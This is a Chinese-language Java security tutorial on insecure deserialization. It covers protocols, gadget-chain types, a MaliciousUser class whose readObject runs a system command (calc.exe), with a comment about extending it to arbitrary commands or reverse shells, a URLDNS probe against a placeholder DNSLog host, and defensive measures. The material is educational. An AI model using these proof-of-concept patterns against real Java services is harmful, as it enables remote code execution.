一、反序列化核心概念:数据传输与持久化的底层技术
1. 序列化与反序列化定义
- 序列化:将内存中的Java对象转换为字节流(二进制数据),实现对象的"持久化"或"可传输化";
- 反序列化:将字节流还原为内存中的Java对象,恢复对象的状态和行为。
2. 序列化技术的设计初衷
序列化是Java跨进程/跨网络数据传输的核心解决方案,核心价值在于:
- 进程间通信:不同JVM进程(如客户端与服务端)通过序列化传输对象,无需手动解析数据格式;
- 数据持久化:将对象保存到文件、数据库等存储介质,重启程序后可恢复对象状态;
- 框架底层支撑:RMI、JMS、分布式缓存等技术均依赖序列化实现对象传输。
3. 常见序列化/反序列化协议
不同协议适配不同场景,安全风险与易用性差异显著:
| 协议/框架 | 核心API/特点 | 安全风险等级 |
|---|---|---|
| JAVA原生序列化 | ObjectOutputStream.writeObject()/ObjectInputStream.readObject() |
高(原生支持自定义readObject) |
| XML序列化 | XMLDecoder/XMLEncoder |
高(支持执行任意代码) |
| XStream | 轻量级XML序列化框架 | 高(默认无类型校验) |
| SnakeYaml | YAML格式序列化框架 | 高(支持类加载执行代码) |
| FastJson | JSON序列化框架 | 中高(历史漏洞频发,需配置防护) |
| Jackson | JSON序列化框架 | 中(默认防护较严格) |
二、反序列化安全问题根源:可控的对象重建与方法执行
反序列化的核心风险在于:反序列化过程会自动触发对象的生命周期方法,若攻击者可控序列化字节流,可植入恶意逻辑,触发危险代码执行。
1. 安全风险的核心触发点
- 自定义
readObject方法 :类重写readObject时,反序列化会优先执行该方法,可直接植入恶意代码; - JDK内置类的隐式调用链 :如
HashMap、URL等JDK核心类的方法(如hashCode())可被反序列化触发,形成间接利用链; - 类加载/构造函数执行:反序列化重建对象时,可能触发构造函数、静态代码块或其他类的方法调用。
2. 反序列化利用链的4类核心场景
利用链的本质是"从readObject入口,逐层调用可控类的方法,最终执行危险逻辑",核心场景分为4类:
| 利用链类型 | 核心逻辑 | 典型案例 |
|---|---|---|
| 类型1 | 入口类readObject直接调用危险方法(如Runtime.exec()) |
自定义恶意User类 |
| 类型2 | 入口类参数包含可控类,该类的核心方法(如hashCode())被readObject触发 |
HashMap+URLDNS利用链 |
| 类型3 | 可控类调用第三方危险类方法(多层调用链) | Commons Collections链 |
| 类型4 | 类加载/构造函数/静态代码块隐式执行恶意逻辑 | 恶意类的静态代码块执行 |
三、原生反序列化实战:工具类与核心漏洞示例
1. 通用序列化/反序列化工具类
以下是原生反序列化的基础实现,也是漏洞复现与检测的核心工具:
java
import java.io.*;
/**
* 通用序列化/反序列化工具类
* 核心:ObjectOutputStream(序列化)、ObjectInputStream(反序列化)
*/
public class SerializeUtil {
/**
* 序列化对象到文件
* @param obj 待序列化对象(需实现Serializable接口)
* @throws IOException 流操作异常
*/
public static void serialize(Object obj, String filePath) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filePath))) {
oos.writeObject(obj); // 核心序列化方法
}
}
/**
* 从文件反序列化还原对象
* @param filePath 序列化文件路径
* @return 还原后的对象
* @throws IOException 流操作异常
* @throws ClassNotFoundException 类加载异常(关键:需目标环境存在对应类)
*/
public static Object unserialize(String filePath) throws IOException, ClassNotFoundException {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filePath))) {
return ois.readObject(); // 核心反序列化方法(触发readObject/类方法调用)
}
}
// 测试入口
public static void main(String[] args) throws Exception {
// 序列化示例
serialize(new MaliciousUser(), "malicious.ser");
// 反序列化触发恶意代码
unserialize("malicious.ser");
}
}
2. 核心漏洞示例1:重写readObject直接执行恶意代码
自定义类重写readObject方法,反序列化时会优先执行该方法,是最直接的攻击方式:
java
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
/**
* 恶意序列化类:重写readObject植入危险代码
* 关键:实现Serializable接口(序列化必备)
*/
class MaliciousUser implements Serializable {
private String username;
private int age;
// 重写readObject方法,反序列化时执行
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// 先执行默认反序列化逻辑(恢复对象属性)
ois.defaultReadObject();
// 植入恶意代码:反序列化时执行系统命令(计算器)
Runtime.getRuntime().exec("calc.exe");
// 可扩展:执行任意命令、读取敏感文件、反弹Shell等
}
}
执行效果 :调用unserialize("malicious.ser")时,无需手动调用任何方法,直接弹出计算器,证明反序列化触发了恶意逻辑。
3. 核心漏洞示例2:URLDNS利用链(无回显漏洞探测)
URLDNS是反序列化漏洞的"探针级"利用链,基于JDK原生类(无依赖),通过DNS查询验证反序列化漏洞是否存在,无代码执行风险,适合无回显场景:
java
import java.io.Serializable;
import java.net.URL;
import java.util.HashMap;
/**
* URLDNS利用链核心逻辑:
* 1. HashMap反序列化时会调用key的hashCode()方法;
* 2. URL的hashCode()方法会触发DNS解析;
* 3. 可控URL地址可通过DNSLog平台检测请求(证明反序列化漏洞存在)。
*/
public class URLDNSExploit implements Serializable {
public static void main(String[] args) throws Exception {
// 1. 构造HashMap,key为可控URL(DNSLog地址)
HashMap<URL, Integer> hashMap = new HashMap<>();
// 替换为自己的DNSLog地址(用于接收请求)
URL url = new URL("http://your-dnslog-address.dnslog.cn");
// 2. 放入HashMap(触发hashCode(),需先清空缓存)
hashMap.put(url, 1);
// 3. 序列化HashMap到文件
SerializeUtil.serialize(hashMap, "urldns.ser");
// 4. 反序列化触发DNS查询
SerializeUtil.unserialize("urldns.ser");
// 验证:查看DNSLog平台是否有请求,有则证明反序列化漏洞存在
}
}
核心原理:
HashMap的readObject方法会遍历所有键值对,调用key.hashCode();URL的hashCode()方法会调用URLStreamHandler.hashCode(),最终触发DNS解析;- 攻击者通过DNSLog记录请求,即可确认目标存在反序列化漏洞(无需代码执行权限)。
四、反序列化利用链核心分析
1. 利用链构造核心逻辑
反序列化攻击的本质是"方法调用链的可控性",核心步骤:
- 找入口点 :确定
readObject作为触发起点(所有利用链的根); - 找中间类 :选择JDK/第三方库中可被
readObject调用的类(如HashMap、PriorityQueue); - 找触发方法 :中间类的核心方法(如
hashCode()、compare())可调用可控类的方法; - 找危险方法 :最终调用可执行命令/操作的危险方法(如
Runtime.exec()、ProcessBuilder.start())。
2. 类加载与反序列化的安全关联
反序列化的前提是目标环境存在对应的类(ClassNotFoundException会阻断利用),因此:
- 攻击条件:目标环境需包含利用链涉及的所有类(如JDK类、Commons Collections库);
- 防御思路:通过类加载器限制、黑名单拦截危险类的加载,阻断利用链。
五、反序列化安全防护策略
1. 核心防护手段
- 限制反序列化类范围 :使用
ObjectInputFilter白名单校验,仅允许安全类的反序列化; - 重写
readObject做校验 :自定义类重写readObject时,校验对象属性的合法性; - 禁用危险序列化协议:优先使用JSON(如Jackson)替代原生序列化,关闭XMLDecoder等高危协议;
- 监控反序列化行为:记录反序列化的类名、调用栈,告警异常利用链(如HashMap+URL组合);
- 升级依赖库:修复第三方库(如Commons Collections、FastJson)的反序列化漏洞。
2. 应急响应要点
- 发现反序列化漏洞时,先临时阻断
ObjectInputStream.readObject()调用; - 排查日志,确认是否有恶意序列化字节流的请求;
- 对核心业务接口增加反序列化过滤规则。
六、核心知识点总结
- 反序列化核心 :
readObject是所有利用链的触发入口,自定义readObject可直接植入恶意代码; - 利用链本质 :从
readObject出发,逐层调用可控类的方法,最终执行危险逻辑; - URLDNS价值:无回显场景下探测反序列化漏洞的首选利用链,基于JDK原生类无依赖;
- 防护核心:白名单校验反序列化类、限制危险方法调用、监控异常反序列化行为。
反序列化是Java安全领域的核心考点,掌握其原理、利用链构造与防护策略,既能高效发现并修复漏洞,也能应对渗透测试中的反序列化攻击场景,是企业级Java安全开发与攻防的必备能力。